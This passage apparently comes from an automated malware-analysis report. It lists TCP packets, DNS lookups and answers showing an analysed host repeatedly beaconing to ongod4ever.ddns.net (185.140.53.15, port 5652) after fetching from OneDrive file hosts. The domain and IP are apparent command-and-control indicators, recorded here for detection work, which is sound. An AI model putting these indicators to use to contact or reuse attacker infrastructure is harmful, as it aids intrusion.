Sep 27, 2021 20:41:03.881481886 CEST	5652	49818	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:04.455780983 CEST	49818	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:04.481502056 CEST	5652	49818	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:05.535041094 CEST	49821	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:05.563955069 CEST	5652	49821	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:06.155870914 CEST	49821	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:06.181652069 CEST	5652	49821	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:06.755912066 CEST	49821	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:06.782246113 CEST	5652	49821	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:07.804713011 CEST	49822	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:07.830929995 CEST	5652	49822	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:08.465043068 CEST	49822	5652	192.168.2.4	185.140.53.15
Sep 27, 2021 20:41:08.491796970 CEST	5652	49822	185.140.53.15	192.168.2.4
Sep 27, 2021 20:41:09.067141056 CEST	49822	5652	192.168.2.4	185.140.53.15

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 27, 2021 20:39:50.712766886 CEST	58028	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:39:50.742908955 CEST	53	58028	8.8.8.8	192.168.2.4
Sep 27, 2021 20:39:54.559814930 CEST	53097	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:39:54.586869001 CEST	53	53097	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:00.329817057 CEST	49257	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:00.377412081 CEST	53	49257	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:01.487426043 CEST	62389	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:01.589236021 CEST	53	62389	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:26.069981098 CEST	49910	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:26.090744019 CEST	53	49910	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:26.709034920 CEST	55854	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:26.736041069 CEST	53	55854	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:28.191519976 CEST	64549	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:28.212397099 CEST	53	64549	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:30.296859026 CEST	63153	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:30.310684919 CEST	53	63153	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:32.554495096 CEST	52991	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:32.567531109 CEST	53	52991	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:35.508255959 CEST	53700	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:35.522198915 CEST	53	53700	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:35.778544903 CEST	51726	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:35.861727953 CEST	53	51726	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:36.340289116 CEST	56794	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:36.441093922 CEST	53	56794	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:37.736310959 CEST	56534	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:37.749092102 CEST	53	56534	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:39.840715885 CEST	56627	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:39.854439974 CEST	53	56627	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:42.579866886 CEST	56621	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:42.592500925 CEST	53	56621	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:42.794097900 CEST	63116	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:42.857904911 CEST	53	63116	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:44.545025110 CEST	64078	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:44.717713118 CEST	53	64078	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:46.670589924 CEST	64801	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:46.683717966 CEST	53	64801	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:47.422678947 CEST	61721	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:47.445765018 CEST	53	61721	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:49.533044100 CEST	51255	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:49.554491997 CEST	53	51255	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:52.200242996 CEST	61522	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:52.234039068 CEST	53	61522	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:54.499921083 CEST	52337	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:54.513664007 CEST	53	52337	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:55.821634054 CEST	55046	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:55.889620066 CEST	53	55046	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:56.719162941 CEST	49612	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:56.794174910 CEST	49285	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:56.808721066 CEST	53	49285	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:56.828322887 CEST	53	49612	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:57.487617016 CEST	50601	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:57.515784025 CEST	53	50601	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:57.897201061 CEST	60875	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:57.985850096 CEST	53	60875	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:58.307404041 CEST	56448	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:58.380373001 CEST	53	56448	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:58.864598036 CEST	59172	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:58.879224062 CEST	53	59172	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:58.999835014 CEST	62420	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:40:59.013353109 CEST	53	62420	8.8.8.8	192.168.2.4
Sep 27, 2021 20:40:59.997201920 CEST	60579	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:00.010282040 CEST	53	60579	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:00.552804947 CEST	50183	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:00.629829884 CEST	53	50183	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:01.101335049 CEST	61531	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:01.114439011 CEST	53	61531	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:02.316555023 CEST	49228	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:02.329612970 CEST	53	49228	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:03.211925030 CEST	59794	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:03.235649109 CEST	53	59794	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:04.239950895 CEST	55916	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:04.253524065 CEST	53	55916	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:04.683504105 CEST	52752	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:04.696125984 CEST	53	52752	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:05.504503965 CEST	60542	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:05.526628971 CEST	53	60542	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:07.787156105 CEST	60689	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:07.801413059 CEST	53	60689	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:11.246792078 CEST	64206	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:11.259496927 CEST	53	64206	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:13.020337105 CEST	50904	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:13.040038109 CEST	53	50904	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:13.486362934 CEST	57525	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:13.499980927 CEST	53	57525	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:15.690439939 CEST	53814	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:15.703810930 CEST	53	53814	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:17.904463053 CEST	53418	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:17.924951077 CEST	53	53418	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:20.089129925 CEST	62833	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:20.102364063 CEST	53	62833	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:22.204933882 CEST	59260	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:22.218985081 CEST	53	59260	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:24.323244095 CEST	49944	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:24.335789919 CEST	53	49944	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:26.440473080 CEST	63300	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:26.453758955 CEST	53	63300	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:28.589694023 CEST	61449	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:28.603553057 CEST	53	61449	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:30.934642076 CEST	51275	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:30.956043959 CEST	53	51275	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:33.083949089 CEST	63492	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:33.111673117 CEST	53	63492	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:35.215830088 CEST	58945	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:35.228498936 CEST	53	58945	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:37.323995113 CEST	60779	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:37.337399006 CEST	53	60779	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:38.495858908 CEST	64014	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:38.526067019 CEST	53	64014	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:39.433008909 CEST	57091	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:39.455291986 CEST	53	57091	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:39.548918962 CEST	55904	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:39.562026024 CEST	53	55904	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:41.558228970 CEST	52109	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:41.570872068 CEST	53	52109	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:43.668311119 CEST	54450	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:43.690537930 CEST	53	54450	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:45.795187950 CEST	49374	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:45.808367014 CEST	53	49374	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:48.034203053 CEST	50436	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:48.047791004 CEST	53	50436	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:50.154508114 CEST	62605	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:50.166790962 CEST	53	62605	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:52.264264107 CEST	54256	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:52.277652025 CEST	53	54256	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:54.373840094 CEST	52189	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:54.386415005 CEST	53	52189	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:56.481215954 CEST	56131	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:56.493730068 CEST	53	56131	8.8.8.8	192.168.2.4
Sep 27, 2021 20:41:58.592732906 CEST	62992	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:41:58.606566906 CEST	53	62992	8.8.8.8	192.168.2.4
Sep 27, 2021 20:42:06.596437931 CEST	54432	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:42:06.612971067 CEST	53	54432	8.8.8.8	192.168.2.4
Sep 27, 2021 20:42:08.715605974 CEST	57227	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:42:08.729338884 CEST	53	57227	8.8.8.8	192.168.2.4
Sep 27, 2021 20:42:10.826145887 CEST	58383	53	192.168.2.4	8.8.8.8
Sep 27, 2021 20:42:10.839230061 CEST	53	58383	8.8.8.8	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 27, 2021 20:40:00.329817057 CEST	192.168.2.4	8.8.8.8	0xaf7e	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:01.487426043 CEST	192.168.2.4	8.8.8.8	0x72ff	Standard query (0)	bl30uw.sn.files.1drv.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:26.069981098 CEST	192.168.2.4	8.8.8.8	0xd18a	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:28.191519976 CEST	192.168.2.4	8.8.8.8	0x61d9	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:30.296859026 CEST	192.168.2.4	8.8.8.8	0x4be0	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:32.554495096 CEST	192.168.2.4	8.8.8.8	0x500f	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:35.508255959 CEST	192.168.2.4	8.8.8.8	0x5b70	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:35.778544903 CEST	192.168.2.4	8.8.8.8	0x6992	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:36.340289116 CEST	192.168.2.4	8.8.8.8	0xf6e3	Standard query (0)	bl30uw.sn.files.1drv.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:37.736310959 CEST	192.168.2.4	8.8.8.8	0xf757	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:39.840715885 CEST	192.168.2.4	8.8.8.8	0x941c	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:42.794097900 CEST	192.168.2.4	8.8.8.8	0xe14e	Standard query (0)	onedrive.live.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:44.545025110 CEST	192.168.2.4	8.8.8.8	0xd5fc	Standard query (0)	bl30uw.sn.files.1drv.com	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:47.422678947 CEST	192.168.2.4	8.8.8.8	0x216	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:49.533044100 CEST	192.168.2.4	8.8.8.8	0x813	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:52.200242996 CEST	192.168.2.4	8.8.8.8	0x73fa	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:54.499921083 CEST	192.168.2.4	8.8.8.8	0x620b	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:56.794174910 CEST	192.168.2.4	8.8.8.8	0xf61c	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:58.999835014 CEST	192.168.2.4	8.8.8.8	0xa4a5	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:01.101335049 CEST	192.168.2.4	8.8.8.8	0x4f8b	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:03.211925030 CEST	192.168.2.4	8.8.8.8	0x4880	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:05.504503965 CEST	192.168.2.4	8.8.8.8	0xd44d	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:07.787156105 CEST	192.168.2.4	8.8.8.8	0xca1e	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:11.246792078 CEST	192.168.2.4	8.8.8.8	0x97ab	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:13.486362934 CEST	192.168.2.4	8.8.8.8	0x4556	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:15.690439939 CEST	192.168.2.4	8.8.8.8	0xfea6	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:17.904463053 CEST	192.168.2.4	8.8.8.8	0xc846	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:20.089129925 CEST	192.168.2.4	8.8.8.8	0x4bfd	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:22.204933882 CEST	192.168.2.4	8.8.8.8	0x5dfd	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:24.323244095 CEST	192.168.2.4	8.8.8.8	0x3c7	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:26.440473080 CEST	192.168.2.4	8.8.8.8	0x6c58	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:28.589694023 CEST	192.168.2.4	8.8.8.8	0xb11b	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:30.934642076 CEST	192.168.2.4	8.8.8.8	0x29b	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:33.083949089 CEST	192.168.2.4	8.8.8.8	0xf9b9	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:35.215830088 CEST	192.168.2.4	8.8.8.8	0x7da5	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:37.323995113 CEST	192.168.2.4	8.8.8.8	0x2de7	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:39.433008909 CEST	192.168.2.4	8.8.8.8	0xf6a1	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:41.558228970 CEST	192.168.2.4	8.8.8.8	0xc97d	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:43.668311119 CEST	192.168.2.4	8.8.8.8	0xdadc	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:45.795187950 CEST	192.168.2.4	8.8.8.8	0xc1b1	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:48.034203053 CEST	192.168.2.4	8.8.8.8	0x4ee2	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:50.154508114 CEST	192.168.2.4	8.8.8.8	0xd265	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:52.264264107 CEST	192.168.2.4	8.8.8.8	0x5e9b	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:54.373840094 CEST	192.168.2.4	8.8.8.8	0x88b9	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:56.481215954 CEST	192.168.2.4	8.8.8.8	0xd752	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:58.592732906 CEST	192.168.2.4	8.8.8.8	0x14d1	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:42:06.596437931 CEST	192.168.2.4	8.8.8.8	0x1b36	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:42:08.715605974 CEST	192.168.2.4	8.8.8.8	0x346a	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)
Sep 27, 2021 20:42:10.826145887 CEST	192.168.2.4	8.8.8.8	0xfb67	Standard query (0)	ongod4ever.ddns.net	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 27, 2021 20:40:00.377412081 CEST	8.8.8.8	192.168.2.4	0xaf7e	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:01.589236021 CEST	8.8.8.8	192.168.2.4	0x72ff	No error (0)	bl30uw.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:01.589236021 CEST	8.8.8.8	192.168.2.4	0x72ff	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:26.090744019 CEST	8.8.8.8	192.168.2.4	0xd18a	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:28.212397099 CEST	8.8.8.8	192.168.2.4	0x61d9	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:30.310684919 CEST	8.8.8.8	192.168.2.4	0x4be0	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:32.567531109 CEST	8.8.8.8	192.168.2.4	0x500f	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:35.522198915 CEST	8.8.8.8	192.168.2.4	0x5b70	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:35.861727953 CEST	8.8.8.8	192.168.2.4	0x6992	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:36.441093922 CEST	8.8.8.8	192.168.2.4	0xf6e3	No error (0)	bl30uw.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:36.441093922 CEST	8.8.8.8	192.168.2.4	0xf6e3	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:37.749092102 CEST	8.8.8.8	192.168.2.4	0xf757	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:39.854439974 CEST	8.8.8.8	192.168.2.4	0x941c	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:42.857904911 CEST	8.8.8.8	192.168.2.4	0xe14e	No error (0)	onedrive.live.com	odc-web-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:44.717713118 CEST	8.8.8.8	192.168.2.4	0xd5fc	No error (0)	bl30uw.sn.files.1drv.com	sn-files.fe.1drv.com		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:44.717713118 CEST	8.8.8.8	192.168.2.4	0xd5fc	No error (0)	sn-files.fe.1drv.com	odc-sn-files-geo.onedrive.akadns.net		CNAME (Canonical name)	IN (0x0001)
Sep 27, 2021 20:40:47.445765018 CEST	8.8.8.8	192.168.2.4	0x216	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:49.554491997 CEST	8.8.8.8	192.168.2.4	0x813	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:52.234039068 CEST	8.8.8.8	192.168.2.4	0x73fa	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:54.513664007 CEST	8.8.8.8	192.168.2.4	0x620b	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:56.808721066 CEST	8.8.8.8	192.168.2.4	0xf61c	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:40:59.013353109 CEST	8.8.8.8	192.168.2.4	0xa4a5	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:01.114439011 CEST	8.8.8.8	192.168.2.4	0x4f8b	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:03.235649109 CEST	8.8.8.8	192.168.2.4	0x4880	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:05.526628971 CEST	8.8.8.8	192.168.2.4	0xd44d	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:07.801413059 CEST	8.8.8.8	192.168.2.4	0xca1e	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:11.259496927 CEST	8.8.8.8	192.168.2.4	0x97ab	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:13.499980927 CEST	8.8.8.8	192.168.2.4	0x4556	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:15.703810930 CEST	8.8.8.8	192.168.2.4	0xfea6	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:17.924951077 CEST	8.8.8.8	192.168.2.4	0xc846	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:20.102364063 CEST	8.8.8.8	192.168.2.4	0x4bfd	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:22.218985081 CEST	8.8.8.8	192.168.2.4	0x5dfd	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:24.335789919 CEST	8.8.8.8	192.168.2.4	0x3c7	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:26.453758955 CEST	8.8.8.8	192.168.2.4	0x6c58	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:28.603553057 CEST	8.8.8.8	192.168.2.4	0xb11b	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:30.956043959 CEST	8.8.8.8	192.168.2.4	0x29b	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:33.111673117 CEST	8.8.8.8	192.168.2.4	0xf9b9	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:35.228498936 CEST	8.8.8.8	192.168.2.4	0x7da5	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:37.337399006 CEST	8.8.8.8	192.168.2.4	0x2de7	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:39.455291986 CEST	8.8.8.8	192.168.2.4	0xf6a1	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:41.570872068 CEST	8.8.8.8	192.168.2.4	0xc97d	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:43.690537930 CEST	8.8.8.8	192.168.2.4	0xdadc	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
Sep 27, 2021 20:41:45.808367014 CEST	8.8.8.8	192.168.2.4	0xc1b1	No error (0)	ongod4ever.ddns.net		185.140.53.15	A (IP address)	IN (0x0001)
